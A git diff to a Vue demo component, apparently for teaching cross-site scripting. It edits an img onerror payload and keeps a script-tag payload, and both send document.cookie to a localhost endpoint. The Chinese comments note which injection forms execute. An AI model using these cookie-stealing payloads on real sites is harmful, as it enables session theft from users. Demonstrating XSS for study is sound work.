diff --git a/src/views/demo/xss.vue b/src/views/demo/xss.vue
index 6ff3bac..e7ed5bd 100644
--- a/src/views/demo/xss.vue
+++ b/src/views/demo/xss.vue
@@ -17,7 +17,7 @@ export default {
     setup() {
         const cookie = encodeURIComponent(document.cookie);
         const message = ref(
-            `<p>我是一段携带恶意代码的测试html标签</p><img src="../xxx.jpg" onerror="console.log('img注入');fetch('http://localhost:3000/xss/test?cookie=${cookie}&userId=xxxx')">`
+            '<p>我是一段携带恶意代码的测试html标签</p><img src="../xxx.jpg" onerror="console.log(\'img注入\');fetch(\'http://localhost:3000/xss/test?cookie=encodeURIComponent(document.cookie)&userId=xxxx\')">'
         );
         // 这种方式的注入不会执行js代码，只是将数据显示在页面上
         message.value += `<script>console.log('script注入');fetch('http://localhost:3000/xss/test?cookie=${cookie}&userId=yyyy')<\/script>`;